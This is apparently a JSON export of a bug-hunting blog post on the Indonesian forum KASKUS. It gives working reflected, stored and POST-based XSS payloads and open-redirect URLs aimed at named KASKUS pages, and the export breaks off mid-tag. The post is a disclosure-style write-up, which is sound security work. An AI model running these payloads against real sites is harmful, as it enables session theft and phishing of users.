{"id":127,"date":"2019-10-15T12:40:00","date_gmt":"2019-10-15T05:40:00","guid":{"rendered":"https:\/\/n45ht.or.id\/blog\/?p=127"},"modified":"2026-01-03T22:47:42","modified_gmt":"2026-01-03T15:47:42","slug":"bug-hunting-on-kaskus","status":"publish","type":"post","link":"https:\/\/n45ht.or.id\/blog\/bug-hunting-on-kaskus\/","title":{"rendered":"Bug Hunting on KASKUS"},"content":{"rendered":"\n<p>This time, I\u2019d like to share my bug-hunting experience on the KASKUS website. I\u2019ve discovered several bugs, including POST-based XSS, Reflected XSS, Stored XSS, and Open Redirect Vulnerabilities.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Recon<\/strong><\/h3>\n\n\n\n<p>The first step I took was reconnaissance, starting with gathering subdomains for the KASKUS site. I used <strong>sublist3r<\/strong> to collect these subdomains.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus1-1024x576.png\" alt=\"\" class=\"wp-image-128\" style=\"width:543px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus1-1024x576.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus1-300x169.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus1-768x432.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus1.png 1153w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Once I had collected all the subdomains, I saved them into a text file and began checking each one individually.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus2-1024x573.png\" alt=\"\" class=\"wp-image-129\" style=\"width:515px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus2-1024x573.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus2-300x168.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus2-768x430.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus2.png 1149w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I started with the main domain, <strong><a>www.kaskus.co.id<\/a><\/strong>, and used <strong>Links-Crawler<\/strong> to discover URLs or URLs with unique parameters.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus3-1024x573.png\" alt=\"\" class=\"wp-image-130\" style=\"width:519px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus3-1024x573.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus3-300x168.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus3-768x430.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus3.png 1149w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Reflected XSS<\/strong><\/h3>\n\n\n\n<p>The first bug I discovered was <strong>Reflected XSS<\/strong>. After using <strong>Links-Crawler<\/strong>, I came across the following URL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.kaskus.co.id\/post_reply\/{{thread-uid}}\/?order=1<\/code><\/pre>\n\n\n\n<p>I tried modifying the <strong>order<\/strong> parameter, like so:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.kaskus.co.id\/post_reply\/{{thread-uid}}\/?order=1234\"><\/code><\/pre>\n\n\n\n<p>Response,<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"290\" height=\"27\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus4.png\" alt=\"\" class=\"wp-image-131\" style=\"width:529px;height:auto\"\/><\/figure>\n\n\n\n<p>So, I tried adding an XSS payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.kaskus.co.id\/post_reply\/{{thread-uid}}\/?order=1234\">&lt;svg\/onload=alert(1)><\/code><\/pre>\n\n\n\n<p>Unfortunately, the response was negative.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"320\" height=\"33\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus5.png\" alt=\"\" class=\"wp-image-132\" style=\"width:515px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus5.png 320w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus5-300x31.png 300w\" sizes=\"auto, (max-width: 320px) 100vw, 320px\" \/><\/figure>\n\n\n\n<p>Since the <strong>order<\/strong> parameter was part of a hidden input, I attempted using the <code>onclick=\"\"<\/code> and <code>accesskey=\"\"<\/code> attributes for XSS:<\/p>\n\n\n\n<p>Request:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.kaskus.co.id\/post_reply\/{{thread-uid}}\/?order=1234\"\/onclick=\"alert(document.domain)\"\/accesskey=\"x<\/code><\/pre>\n\n\n\n<p>Response,<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"22\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus6.png\" alt=\"\" class=\"wp-image-133\" style=\"width:582px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus6.png 640w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus6-300x10.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n\n\n\n<p>When I opened the page and pressed <strong>ALT + SHIFT + X<\/strong> on my keyboard, the alert notification popped up, confirming the vulnerability.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"474\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus7-1024x474.png\" alt=\"\" class=\"wp-image-134\" style=\"width:587px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus7-1024x474.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus7-300x139.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus7-768x355.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus7.png 1366w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Stored XSS<\/strong><\/h3>\n\n\n\n<p>The second bug I found was <strong>Stored XSS<\/strong>, still on the domain <strong><a href=\"https:\/\/www.kaskus.co.id\">https:\/\/www.kaskus.co.id<\/a><\/strong>. On the page <strong><a href=\"https:\/\/www.kaskus.co.id\/user\/editprofile\">https:\/\/www.kaskus.co.id\/user\/editprofile<\/a><\/strong>, there is a form for updating your bio. I tested it by inserting a simple XSS payload like this:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-code=\"helloworld&quot;&gt;&lt;\/\/\/\/\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #D8DEE9FF\">helloworld&quot;&gt;<\/span><span style=\"color: #D8DEE9\">&lt;<\/span><span style=\"color: #D8DEE9FF\">\/\/\/\/<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"556\" height=\"243\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus8.png\" alt=\"\" class=\"wp-image-135\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus8.png 556w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus8-300x131.png 300w\" sizes=\"auto, (max-width: 556px) 100vw, 556px\" \/><\/figure>\n\n\n\n<p>Response,<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"180\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus9-1024x180.png\" alt=\"\" class=\"wp-image-136\" style=\"width:517px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus9-1024x180.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus9-300x53.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus9-768x135.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus9.png 1303w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The server\u2019s response was as expected, but when I tried to insert this payload:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-code=\"&lt;svg\/onload=alert(1)&gt;\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;<\/span><span style=\"color: #D8DEE9\">svg\/onload=alert(1)<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>The response was the same as the previous <strong>Reflected XSS<\/strong> example, so I used the same method with the <code>onclick=\"\"<\/code> and <code>accesskey=\"\"<\/code> attributes:<\/p>\n\n\n\n<p>Payload:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-code=\"helloworld&quot;\/onclick=&quot;alert(document.domain)&quot;\/accesskey=&quot;x\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #D8DEE9FF\">helloworld&quot;\/onclick=&quot;alert(document.domain)&quot;\/accesskey=&quot;x<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"551\" height=\"237\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus10.png\" alt=\"\" class=\"wp-image-137\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus10.png 551w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus10-300x129.png 300w\" sizes=\"auto, (max-width: 551px) 100vw, 551px\" \/><\/figure>\n\n\n\n<p>When visiting the profile page <strong>https:\/\/www.kaskus.co.id\/@{username}\/<\/strong> and pressing <strong>ALT + SHIFT + X<\/strong> on the keyboard, the alert notification appeared again, confirming a <strong>Stored XSS<\/strong> vulnerability.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"494\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus11-1024x494.png\" alt=\"\" class=\"wp-image-138\" style=\"width:507px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus11-1024x494.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus11-300x145.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus11-768x371.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus11.png 1341w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>POST-based XSS<\/strong><\/h3>\n\n\n\n<p>Next, I found a <strong>POST-based XSS Vulnerability<\/strong> on the KASKUS subdomain <strong><a href=\"https:\/\/fjb.kaskus.co.id\/\">https:\/\/fjb.kaskus.co.id\/<\/a><\/strong>.<\/p>\n\n\n\n<p>When visiting <strong><a href=\"https:\/\/fjb.kaskus.co.id\/sell\">https:\/\/fjb.kaskus.co.id\/sell<\/a><\/strong>, there\u2019s a form for posting products\/items. The attribute and value parameters in the form weren\u2019t properly encoded, and since the character count for both parameters was limited, I used the following payload:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Attribute Parameter<\/strong>: <code>\"onclick='\/*<\/code><\/li>\n\n\n\n<li><strong>Value Parameter<\/strong>: <code>*\/alert(1)'<\/code><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"757\" height=\"339\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus12.png\" alt=\"\" class=\"wp-image-139\" style=\"width:467px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus12.png 757w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus12-300x134.png 300w\" sizes=\"auto, (max-width: 757px) 100vw, 757px\" \/><\/figure>\n\n\n\n<p>The response:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"93\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus14-1024x93.png\" alt=\"\" class=\"wp-image-140\" style=\"width:575px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus14-1024x93.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus14-300x27.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus14-768x70.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus14.png 1326w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>POST-based XSS confirmed.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"490\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus15-1024x490.png\" alt=\"\" class=\"wp-image-141\" style=\"width:463px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus15-1024x490.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus15-300x144.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus15-768x368.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus15.png 1351w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Open Redirect<\/strong><\/h3>\n\n\n\n<p>The last vulnerability I discovered was an <strong>Open Redirect<\/strong> vulnerability on both <strong><a>www.kaskus.co.id<\/a><\/strong> and <strong>fjb.kaskus.co.id<\/strong>. Using <strong>Links-Crawler<\/strong>, I found some interesting URLs.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"469\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus16-1024x469.png\" alt=\"\" class=\"wp-image-142\" style=\"width:475px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus16-1024x469.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus16-300x137.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus16-768x352.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus16.png 1173w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>When accessing:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/fjb.kaskus.co.id\/user\/switchtomobile\/?url=\/hello<\/code><\/pre>\n\n\n\n<p>It redirects to:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/fjb.m.kaskus.co.id\/hello<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"245\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus17.png\" alt=\"\" class=\"wp-image-143\" style=\"width:463px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus17.png 832w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus17-300x88.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus17-768x226.png 768w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/figure>\n\n\n\n<p>However, when I removed the slash character from the <strong>url<\/strong> parameter:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/fjb.kaskus.co.id\/user\/switchtomobile\/?url=hello<\/code><\/pre>\n\n\n\n<p>The page redirected to:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/fjb.m.kaskus.co.idhello<\/code><\/pre>\n\n\n\n<p>This behavior is unusual because the URL should have been:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/fjb.m.kaskus.co.id\/hello<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"792\" height=\"244\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus18.png\" alt=\"\" class=\"wp-image-144\" style=\"width:461px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus18.png 792w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus18-300x92.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus18-768x237.png 768w\" sizes=\"auto, (max-width: 792px) 100vw, 792px\" \/><\/figure>\n\n\n\n<p>In such cases, we can insert any domain into the <strong>url<\/strong> parameter, and the <strong>fjb.m.kaskus.co.id<\/strong> subdomain will become part of the domain we inserted into the parameter. Here\u2019s an example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/fjb.kaskus.co.id\/user\/switchtomobile\/?url=.rizal.ninja ==> https:\/\/fjb.m.kaskus.co.id.rizal.ninja<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"252\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus19.png\" alt=\"\" class=\"wp-image-145\" style=\"width:491px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus19.png 831w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus19-300x91.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus19-768x233.png 768w\" sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"543\" height=\"170\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus20.png\" alt=\"\" class=\"wp-image-146\" style=\"width:489px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus20.png 543w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus20-300x94.png 300w\" sizes=\"auto, (max-width: 543px) 100vw, 543px\" \/><\/figure>\n\n\n\n<p>After re-checking with <strong>Links-Crawler<\/strong>, I discovered two URLs with the same <strong>Open Redirect<\/strong> vulnerability:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/fjb.kaskus.co.id\/user\/switchtomobile\/?url=.rizal.ninja ==> https:\/\/fjb.m.kaskus.co.id.rizal.ninja\n\nhttps:\/\/www.kaskus.co.id\/user\/switchtomobile\/?url=.rizal.ninja ==> https:\/\/m.kaskus.co.id.rizal.ninja<\/code><\/pre>\n\n\n\n<p>Another Open Redirect bug I found was on the URL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.kaskus.co.id\/redirect?url=<\/code><\/pre>\n\n\n\n<p>If you insert a domain like *<strong>.kaskus.co.id<\/strong> into the <strong>url<\/strong> parameter, the page will immediately redirect to that domain. However, if the domain is not <strong>kaskus.co.id<\/strong>, it won&#8217;t redirect and will show a page like this:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"503\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus21-1024x503.png\" alt=\"\" class=\"wp-image-147\" style=\"width:469px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus21-1024x503.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus21-300x147.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus21-768x377.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/kaskus21.png 1363w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>In this case, we can use the <strong>PoC<\/strong> (Proof of Concept) from the first <strong>Open Redirect<\/strong> vulnerability as a payload in the second one:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" 